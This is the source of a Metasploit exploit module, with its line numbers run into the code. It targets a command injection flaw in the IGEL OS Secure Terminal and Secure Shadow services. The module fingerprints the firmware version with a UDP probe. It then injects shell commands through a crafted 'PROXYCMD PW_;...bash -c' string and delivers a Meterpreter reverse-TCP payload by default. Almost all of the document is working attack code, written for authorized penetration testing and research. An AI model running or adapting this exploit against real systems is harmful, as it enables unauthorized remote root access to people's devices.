Path: blob/master/modules/exploits/linux/misc/igel_command_injection.rb
31614 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Tcp10include Msf::Exploit::CmdStager11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',18'Description' => %q{19This module exploits a command injection vulnerability in IGEL OS Secure Terminal20and Secure Shadow services.2122Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure23Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.24},25'License' => MSF_LICENSE,26'Author' => [27'Rob Vinson', # Discovery28'James Brytan', # Research and testing29'James Smith', # Research and testing30'Marisa Mack', # Research and testing31'Sergey Pashevkin', # Research and testing32'Steven Laura' # Research and testing33],34'References' => [35[ 'CVE', '2025-34082' ],36[ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],37[ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]38],39'Targets' => [40[41'Secure Terminal Service',42{43'Arch' => [ARCH_X86, ARCH_X64],44'Type' => :cmd,45'Platform' => 'linux',46'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 }47}48],49[50'Secure Shadow Service',51{52'Arch' => [ARCH_X86, ARCH_X64],53'Type' => :cmd,54'Platform' => 'linux',55'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 }56}57],58],59'Privileged' => true,60'DisclosureDate' => '2021-02-25',61'CmdStagerFlavor' => ['printf'],62'DefaultTarget' => 0,63'DefaultOptions' => {64'PrependFork' => true65},66'Notes' => {67'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],68'Reliability' => [REPEATABLE_SESSION],69'Stability' => [CRASH_SAFE]70}71)72)7374register_advanced_options(75[76# must enable SSL77OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),78]79)80end8182def check83probe = '<igel_scan></igel_scan>'8485connect_udp(true, 'RPORT' => 30005)86udp_sock.put(probe)87res = udp_sock.recvfrom(65535, 0.5)88disconnect_udp8990unless res && res[0]91return Exploit::CheckCode::Unknown92end9394probe_response = res[0]95matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)96unless matches97return Exploit::CheckCode::Unknown98end99100version = matches.captures[0]101vprint_status("IGEL OS Version: #{version}")102version = Rex::Version.new(version)103104if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')105return Exploit::CheckCode::Appears106elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620')107return Exploit::CheckCode::Safe108elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')109return Exploit::CheckCode::Appears110end111112return Exploit::CheckCode::Safe113end114115def execute_command(cmd, _opts = {})116vprint_status("executing: #{cmd}")117connect118sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c "#{cmd}";false))119ensure120disconnect121end122123def exploit124execute_cmdstager(linemax: 150, noconcat: true, delay: 2)125rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e126fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")127end128129end130131132